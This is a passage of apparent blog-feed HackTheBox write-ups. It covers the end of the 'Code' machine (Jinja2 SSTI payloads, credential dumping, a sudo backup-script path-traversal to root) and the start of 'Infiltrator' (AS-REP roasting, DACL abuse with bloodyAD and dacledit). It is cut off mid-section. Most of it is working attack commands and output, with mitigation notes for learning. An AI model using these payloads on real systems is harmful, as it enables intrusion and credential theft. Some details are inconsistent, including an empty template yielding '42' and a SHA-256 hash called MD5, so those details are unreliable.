<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nf">print</span><span class="p">(</span><span class="nf">render_template_string</span><span class="p">(</span><span class="sh">""</span><span class="p">))</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Result</strong>: <code class="language-plaintext highlighter-rouge">42</code> ✅</p>

<p>This confirms that Jinja2 template rendering is being executed server-side.</p>

<h3 id="enumerating-the-environment">Enumerating the Environment</h3>

<h4 id="global-variables-enumeration">Global Variables Enumeration</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nf">print</span><span class="p">(</span><span class="nf">globals</span><span class="p">())</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This revealed several interesting objects, including a reference to a <strong>database.db</strong> file and various Flask application objects.</p>

<p><img src="/assets/img/htb-code/globals-output.png" alt="Global Variables Output" />
<img src="/assets/img/htb-code/global-output-database.png" alt="Global Variables Output" /></p>

<p><em>Interesting findings in global variables</em></p>

<h4 id="local-variables-enumeration">Local Variables Enumeration</h4>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nf">print</span><span class="p">(</span><span class="nf">locals</span><span class="p">())</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>After analyzing the local scope, I discovered we had access to database models, including a <code class="language-plaintext highlighter-rouge">User</code> model.</p>

<h3 id="database-extraction">Database Extraction</h3>

<p>Using SQLAlchemy’s ORM capabilities through the SSTI vulnerability:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nf">print</span><span class="p">([(</span><span class="n">user</span><span class="p">.</span><span class="nb">id</span><span class="p">,</span> <span class="n">user</span><span class="p">.</span><span class="n">username</span><span class="p">,</span> <span class="n">user</span><span class="p">.</span><span class="n">password</span><span class="p">)</span> <span class="k">for</span> <span class="n">user</span> <span class="ow">in</span> <span class="n">User</span><span class="p">.</span><span class="n">query</span><span class="p">.</span><span class="nf">all</span><span class="p">()])</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Output:</strong></p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>[(1, 'admin', '5f4dcc3b5aa765d61d8327deb882cf99'), 
 (2, 'martin', '8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918')]
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="password-cracking">Password Cracking</h3>

<p>Using <a href="https://crackstation.net/">CrackStation</a> to crack the MD5 hash:</p>

<p><img src="/assets/img/htb-code/crackstation.png" alt="CrackStation Results" />
<em>Successfully cracked martin’s password hash</em></p>

<p><strong>Credentials Found:</strong></p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>martin:nafeelswordsmaster
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="user-flag">User Flag</h3>

<p>Before pivoting, we can extract the user flag directly through SSTI using Python’s subprocess module:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre><span class="nf">print</span><span class="p">(</span><span class="sh">''</span><span class="p">.</span><span class="n">__class__</span><span class="p">.</span><span class="n">__base__</span><span class="p">.</span><span class="nf">__subclasses__</span><span class="p">()[</span><span class="mi">317</span><span class="p">](</span><span class="sh">'</span><span class="s">cat /home/app-production/user.txt</span><span class="sh">'</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">stdout</span><span class="o">=-</span><span class="mi">1</span><span class="p">).</span><span class="nf">communicate</span><span class="p">())</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<blockquote class="prompt-tip">
  <p><strong>User Flag Captured!</strong> ✅</p>
</blockquote>

<hr />

<h2 id="privilege-escalation">Privilege Escalation</h2>

<h3 id="ssh-access">SSH Access</h3>

<p>With valid credentials, we can now SSH into the machine:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>ssh martin@10.10.11.62
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="sudo-privileges-enumeration">Sudo Privileges Enumeration</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>martin@code:~<span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-l</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Output:</strong></p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Martin can execute <code class="language-plaintext highlighter-rouge">/usr/bin/backy.sh</code> as root without a password!</p>

<h3 id="analyzing-the-backup-script">Analyzing the Backup Script</h3>

<p>Examining the <code class="language-plaintext highlighter-rouge">/usr/bin/backy.sh</code> script:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
</pre></td><td class="rouge-code"><pre><span class="c">#!/bin/bash</span>
<span class="k">if</span> <span class="o">[[</span> <span class="nv">$# </span><span class="nt">-ne</span> 1 <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
    /usr/bin/echo <span class="s2">"Usage: </span><span class="nv">$0</span><span class="s2"> &lt;task.json&gt;"</span>
    <span class="nb">exit </span>1
<span class="k">fi

</span><span class="nv">json_file</span><span class="o">=</span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span>

<span class="k">if</span> <span class="o">[[</span> <span class="o">!</span> <span class="nt">-f</span> <span class="s2">"</span><span class="nv">$json_file</span><span class="s2">"</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
    /usr/bin/echo <span class="s2">"Error: File '</span><span class="nv">$json_file</span><span class="s2">' not found."</span>
    <span class="nb">exit </span>1
<span class="k">fi

</span><span class="nv">allowed_paths</span><span class="o">=(</span><span class="s2">"/var/"</span> <span class="s2">"/home/"</span><span class="o">)</span>
<span class="nv">updated_json</span><span class="o">=</span><span class="si">$(</span>/usr/bin/jq <span class="s1">'.directories_to_archive |= map(gsub("\\.\\./"; ""))'</span> <span class="s2">"</span><span class="nv">$json_file</span><span class="s2">"</span><span class="si">)</span>
/usr/bin/echo <span class="s2">"</span><span class="nv">$updated_json</span><span class="s2">"</span> <span class="o">&gt;</span> <span class="s2">"</span><span class="nv">$json_file</span><span class="s2">"</span>

<span class="nv">directories_to_archive</span><span class="o">=</span><span class="si">$(</span>/usr/bin/echo <span class="s2">"</span><span class="nv">$updated_json</span><span class="s2">"</span> | /usr/bin/jq <span class="nt">-r</span> <span class="s1">'.directories_to_archive[]'</span><span class="si">)</span>

is_allowed_path<span class="o">()</span> <span class="o">{</span>
    <span class="nb">local </span><span class="nv">path</span><span class="o">=</span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span>
    <span class="k">for </span>allowed_path <span class="k">in</span> <span class="s2">"</span><span class="k">${</span><span class="nv">allowed_paths</span><span class="p">[@]</span><span class="k">}</span><span class="s2">"</span><span class="p">;</span> <span class="k">do
        if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$path</span><span class="s2">"</span> <span class="o">==</span> <span class="nv">$allowed_path</span><span class="k">*</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
            return </span>0
        <span class="k">fi
    done
    return </span>1
<span class="o">}</span>

<span class="k">for </span><span class="nb">dir </span><span class="k">in</span> <span class="nv">$directories_to_archive</span><span class="p">;</span> <span class="k">do
    if</span> <span class="o">!</span> is_allowed_path <span class="s2">"</span><span class="nv">$dir</span><span class="s2">"</span><span class="p">;</span> <span class="k">then</span>
        /usr/bin/echo <span class="s2">"Error: </span><span class="nv">$dir</span><span class="s2"> is not allowed. Only directories under /var/ and /home/ are allowed."</span>
        <span class="nb">exit </span>1
    <span class="k">fi
done</span>

/usr/bin/backy <span class="s2">"</span><span class="nv">$json_file</span><span class="s2">"</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="understanding-the-vulnerability">Understanding the Vulnerability</h3>

<p>The script has a critical flaw in its path validation logic:</p>

<ol>
  <li>It only checks if paths <strong>start with</strong> <code class="language-plaintext highlighter-rouge">/var/</code> or <code class="language-plaintext highlighter-rouge">/home/</code></li>
  <li>The <code class="language-plaintext highlighter-rouge">jq</code> filter removes <code class="language-plaintext highlighter-rouge">../</code> sequences, but only after the path validation</li>
  <li>We can use <strong>path traversal</strong> to bypass restrictions</li>
</ol>

<h3 id="exploitation-strategy">Exploitation Strategy</h3>

<p>Initial failed attempts:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="p">{</span><span class="w">
    </span><span class="nl">"destination"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/home/martin/backups/"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"directories_to_archive"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"/root/.ssh/"</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
<blockquote>
  <p>Error: /root/.ssh/ is not allowed ❌</p>
</blockquote>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre><span class="p">{</span><span class="w">
    </span><span class="nl">"destination"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/home/martin/backups/"</span><span class="p">,</span><span class="w">
    </span><span class="nl">"directories_to_archive"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"/var/../../../../../../root/.ssh/"</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>
<blockquote>
  <p>Error: Still blocked after jq processing ❌</p>
</blockquote>

<h3 id="successful-bypass">Successful Bypass</h3>

<p>The key insight: start with an allowed path, then traverse <strong>before</strong> the security check evaluates the final path:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre><span class="p">{</span><span class="w">
  </span><span class="nl">"destination"</span><span class="p">:</span><span class="w"> </span><span class="s2">"/home/martin/"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"multiprocessing"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
  </span><span class="nl">"verbose_log"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
  </span><span class="nl">"directories_to_archive"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="w">
    </span><span class="s2">"/var/../root/"</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="executing-the-exploit">Executing the Exploit</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>martin@code:~/backups<span class="nv">$ </span><span class="nb">sudo</span> /usr/bin/backy.sh taskss.json
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Output:</strong></p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="rouge-code"><pre>2025/03/29 08:36:53 🍀 backy 1.2
2025/03/29 08:36:53 📋 Working with taskss.json ...
2025/03/29 08:36:53 💤 Nothing to sync
2025/03/29 08:36:53 📤 Archiving: [/var/../root]
2025/03/29 08:36:53 📥 To: /home/martin ...
2025/03/29 08:36:53 📦
tar: Removing leading `/var/../' from member names
/var/../root/
/var/../root/.ssh/
/var/../root/.ssh/id_rsa
/var/../root/.ssh/authorized_keys
/var/../root/root.txt
[... truncated ...]
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Success! The entire root directory is now archived in <code class="language-plaintext highlighter-rouge">/home/martin/</code>.</p>

<h3 id="extracting-root-credentials">Extracting Root Credentials</h3>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>martin@code:~<span class="nv">$ </span><span class="nb">tar</span> <span class="nt">-xjf</span> code_var_.._root_2025_March.tar.bz2
martin@code:~<span class="nv">$ </span><span class="nb">cd </span>root/
martin@code:~/root<span class="nv">$ </span><span class="nb">cat </span>root.txt
9234e99aacc8f86f70344547d6d1efab
</pre></td></tr></tbody></table></code></pre></div></div>

<blockquote class="prompt-tip">
  <p><strong>Root Flag Captured!</strong> 🚩</p>
</blockquote>

<h3 id="root-ssh-access">Root SSH Access</h3>

<p>We can also extract root’s SSH private key for persistent access:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>martin@code:~/root<span class="nv">$ </span><span class="nb">cat</span> .ssh/id_rsa
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Copy the private key and connect:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nb">chmod </span>600 id_rsa
ssh <span class="nt">-i</span> id_rsa root@10.10.11.62
</pre></td></tr></tbody></table></code></pre></div></div>

<hr />

<h2 id="key-takeaways">Key Takeaways</h2>

<h3 id="vulnerabilities-exploited">Vulnerabilities Exploited</h3>

<ol>
  <li><strong>Server-Side Template Injection (SSTI)</strong> in Jinja2
    <ul>
      <li>Allowed arbitrary Python code execution</li>
      <li>Enabled database enumeration and credential extraction</li>
    </ul>
  </li>
  <li><strong>Insecure Path Validation</strong> in backup script
    <ul>
      <li>Path traversal bypass via <code class="language-plaintext highlighter-rouge">/var/../root/</code></li>
      <li>Logic flaw: validation before normalization</li>
    </ul>
  </li>
  <li><strong>Unrestricted Sudo Permissions</strong>
    <ul>
      <li>User could execute backup script as root</li>
      <li>No proper input sanitization</li>
    </ul>
  </li>
</ol>

<h3 id="lessons-learned">Lessons Learned</h3>

<blockquote class="prompt-warning">
  <p>Never trust user-supplied input in template rendering. Always use safe alternatives like <code class="language-plaintext highlighter-rouge">render_template()</code> with proper context isolation.</p>
</blockquote>

<blockquote class="prompt-danger">
  <p>Path validation must normalize paths before checking against allowlists. Use <code class="language-plaintext highlighter-rouge">realpath()</code> or similar functions to resolve symbolic links and relative paths.</p>
</blockquote>

<h3 id="mitigation-recommendations">Mitigation Recommendations</h3>

<ul>
  <li><strong>For SSTI</strong>: Use sandboxed template environments or avoid <code class="language-plaintext highlighter-rouge">render_template_string()</code> entirely</li>
  <li><strong>For Path Traversal</strong>: Implement proper path canonicalization before validation</li>
  <li><strong>For Sudo Permissions</strong>: Apply principle of least privilege and validate all inputs rigorously</li>
</ul>

<hr />

<h2 id="tools-used">Tools Used</h2>

<ul>
  <li><strong>Nmap</strong> - Port scanning and service enumeration</li>
  <li><strong>CrackStation</strong> - Hash cracking</li>
  <li><strong>jq</strong> - JSON processing (used by target system)</li>
  <li><strong>Python</strong> - SSTI payload crafting</li>
</ul>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>Code was an excellent machine for practicing SSTI exploitation and understanding the nuances of path traversal vulnerabilities. The escalation path demonstrated how seemingly small oversights in validation logic can lead to complete system compromise.</p>

<p><strong>Final Stats:</strong></p>
<ul>
  <li>⏱️ Time to User: ~30 minutes</li>
  <li>⏱️ Time to Root: ~45 minutes</li>
  <li>🎯 Difficulty Rating: Easy/Medium</li>
</ul>

<p>Thanks for reading! Feel free to reach out if you have questions about this writeup.</p>

<p><em>Happy Hacking! 🚀</em></p>]]></content><author><name>Wathsala Dewmina</name></author><category term="HackTheBox" /><category term="Easy" /><category term="htb" /><category term="ssti" /><category term="jinja2" /><category term="privilege-escalation" /><category term="linux" /><category term="python" /><category term="flask" /><summary type="html"><![CDATA[A detailed walkthrough of the Code machine from HackTheBox, featuring Server-Side Template Injection (SSTI) exploitation and privilege escalation via backup script manipulation.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://pwnedcake.github.io/assets/img/htb-code/code-thumbnail.png" /><media:content medium="image" url="https://pwnedcake.github.io/assets/img/htb-code/code-thumbnail.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">HackTheBox Infiltrator Writeup - Insane Active Directory Machine</title><link href="https://pwnedcake.github.io/posts/hackthebox-infiltrator-writeup/" rel="alternate" type="text/html" title="HackTheBox Infiltrator Writeup - Insane Active Directory Machine" /><published>2025-01-19T00:30:00+00:00</published><updated>2025-01-19T00:30:00+00:00</updated><id>https://pwnedcake.github.io/posts/hackthebox-infiltrator-writeup</id><content type="html" xml:base="https://pwnedcake.github.io/posts/hackthebox-infiltrator-writeup/"><![CDATA[<h2 id="machine-information">Machine Information</h2>

<table>
  <thead>
    <tr>
      <th style="text-align: left">Attribute</th>
      <th style="text-align: left">Details</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left"><strong>Machine Name</strong></td>
      <td style="text-align: left">Infiltrator</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>Difficulty</strong></td>
      <td style="text-align: left">Insane</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>OS</strong></td>
      <td style="text-align: left">Windows Server 2019</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>IP Address</strong></td>
      <td style="text-align: left">10.10.11.31</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="reconnaissance">Reconnaissance</h2>

<h3 id="nmap-scan">Nmap Scan</h3>

<p>Starting with a full port scan:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>nmap <span class="nt">-sCV</span> <span class="nt">-oN</span> nmapInfiltrator <span class="nt">-v</span> <span class="nt">-p-</span> 10.10.11.31
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Key Ports:</strong></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre>PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP
445/tcp   open  microsoft-ds?
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This is clearly an Active Directory Domain Controller. Domain name is <code class="language-plaintext highlighter-rouge">infiltrator.htb</code> and the DC is <code class="language-plaintext highlighter-rouge">dc01.infiltrator.htb</code>.</p>

<h3 id="web-enumeration">Web Enumeration</h3>

<p>Checking the website on port 80, I found some employee names:</p>

<p><img src="/assets/img/htb-infiltrator/image.png" alt="Employee Names" />
<em>Employee names found on the website</em></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre>david anderson
olivia martinez
kevin turner
amanda walker
marcus harris
lauren clark
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s generate possible usernames using username-anarchy:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>~/tools/username-anarchy/username-anarchy <span class="nt">-i</span> username_raw <span class="o">&gt;</span> username.list
</pre></td></tr></tbody></table></code></pre></div></div>

<hr />

<h2 id="initial-access">Initial Access</h2>

<h3 id="kerberos-enumeration">Kerberos Enumeration</h3>

<p>Using kerbrute to validate usernames:</p>

<p><img src="/assets/img/htb-infiltrator/image%202.png" alt="Kerbrute Results" />
<em>Found valid usernames</em></p>

<h3 id="as-rep-roasting">AS-REP Roasting</h3>

<p>Let’s try to get some hashes without authentication:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>GetNPUsers.py <span class="nt">-debug</span> infiltrator.htb/ <span class="nt">-request</span> <span class="nt">-usersfile</span> usernames.list
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-infiltrator/image%203.png" alt="AS-REP Hash" />
<em>Got a hash for l.clark</em></p>

<p>Cracking the hash:</p>

<p><img src="/assets/img/htb-infiltrator/image%204.png" alt="Cracked Hash" />
<em>Successfully cracked the password</em></p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>l.clark:WAT?watismypass!
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Let’s verify it works:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>nxc smb 10.10.11.31 <span class="nt">-u</span> l.clark <span class="nt">-p</span> <span class="s1">'WAT?watismypass!'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>SMB  10.10.11.31  445  DC01  [+] infiltrator.htb\l.clark:WAT?watismypass!
</pre></td></tr></tbody></table></code></pre></div></div>

<hr />

<h2 id="bloodhound-analysis">BloodHound Analysis</h2>

<p>Time to walk the dog! Let’s collect data and analyze the domain.</p>

<p><img src="/assets/img/htb-infiltrator/image%205.png" alt="BloodHound Description" />
<em>Found something in a user description</em></p>

<p><img src="/assets/img/htb-infiltrator/image%206.png" alt="Turner's Password" />
<em>Password hint in description</em></p>

<p>Found <code class="language-plaintext highlighter-rouge">k.turner</code>’s password: <code class="language-plaintext highlighter-rouge">MessengerApp@Pass!</code> - but it doesn’t work directly.</p>

<p>Looking further in BloodHound:</p>

<p><img src="/assets/img/htb-infiltrator/image%207.png" alt="Anderson Path" />
<em>d.anderson uses the same password</em></p>

<p>Let’s get a ticket for d.anderson and use Kerberos auth:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="nb">export </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>d.anderson.ccache
nxc smb 10.10.11.31 <span class="nt">--use-kcache</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
</pre></td><td class="rouge-code"><pre>SMB  10.10.11.31  445  DC01  [+] infiltrator.htb\d.anderson from ccache
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="dacl-abuse-chain">DACL Abuse Chain</h3>

<p><img src="/assets/img/htb-infiltrator/image%208.png" alt="GenericAll on OU" />
<em>Anderson has GenericAll on Marketing Digital OU</em></p>

<p>Anderson has <code class="language-plaintext highlighter-rouge">GenericAll</code> on the Marketing Digital OU, and <code class="language-plaintext highlighter-rouge">e.rodriguez</code> is in this OU. We can abuse this to change rodriguez’s password.</p>

<p>Using dacledit to grant ourselves FullControl:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>dacledit.py <span class="nt">-action</span> <span class="s1">'write'</span> <span class="nt">-rights</span> <span class="s1">'FullControl'</span> <span class="nt">-inheritance</span> <span class="nt">-principal</span> <span class="s1">'d.anderson'</span> <span class="se">\</span>
  <span class="nt">-target-dn</span> <span class="s1">'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB'</span> <span class="se">\</span>
  <span class="s1">'infiltrator.htb/d.anderson'</span> <span class="nt">-k</span> <span class="nt">-no-pass</span> <span class="nt">-dc-ip</span> dc01.INFILTRATOR.HTB
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-infiltrator/image%209.png" alt="Password Change" />
<em>Changing rodriguez’s password</em></p>

<p>Now change rodriguez’s password:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>bloodyAD <span class="nt">--host</span> <span class="s2">"dc01.infiltrator.htb"</span> <span class="nt">-d</span> <span class="s2">"infiltrator.htb"</span> <span class="nt">--kerberos</span> <span class="se">\</span>
  <span class="nt">--dc-ip</span> dc01.INFILTRATOR.HTB <span class="nt">-u</span> <span class="s2">"d.anderson"</span> <span class="nt">-p</span> <span class="s1">'WAT?watismypass!'</span> <span class="se">\</span>
  <span class="nb">set </span>password <span class="s2">"E.RODRIGUEZ"</span> <span class="s2">"Password@123"</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="moving-through-the-domain">Moving Through the Domain</h3>

<p><img src="/assets/img/htb-infiltrator/image%2010.png" alt="Chiefs Marketing Group" />
<em>Rodriguez can add self to Chiefs Marketing</em></p>

<p>Add rodriguez to Chiefs Marketing:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>bloodyAD <span class="nt">-d</span> infiltrator.htb <span class="nt">-u</span> <span class="s1">'E.rodriguez'</span> <span class="nt">-p</span> <span class="s1">'Pwnedcake@2006'</span> <span class="se">\</span>
  <span class="nt">--host</span> dc01.infiltrator.htb add groupMember <span class="s1">'Chiefs Marketing'</span> <span class="s1">'E.rodriguez'</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/htb-infiltrator/image%2011.png" alt="Harris Password Change" />
<em>Chiefs Marketing can change M.harris’s password</em></p>

<p><img src="/assets/img/htb-infiltrator/image%2012.png" alt="Harris Remote Users" />
<em>Harris is in Remote Users group</em></p>

<p>Change Harris’s password:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre>bloodyAD <span class="nt">--host</span> <span class="s2">"dc01.infiltrator.htb"</span> <span class="nt">-d</span> <span class="s2">"infiltrator.htb"</span> <span class="se">\</span>
  <span class="nt">-u</span> <span class="s2">"E.rodriguez"</span> <span class="nt">-p</span> <span class="s2">"Pwnedcake@2006"</span> <span class="nb">set </span>password <span class="s2">"M.harris"</span> <span class="s2">"Pwnedcake@2006"</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="pass-the-ticket">Pass the Ticket</h3>

<p>Since NTLM auth is blocked, we need to use Kerberos:</p>

<p><img src="/assets/img/htb-infiltrator/image%2013.png" alt="NTLM Blocked" />
<em>NTLM authentication blocked</em></p>

<p>Edit <code class="language-plaintext highlighter-rouge">/etc/krb5.conf</code>:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
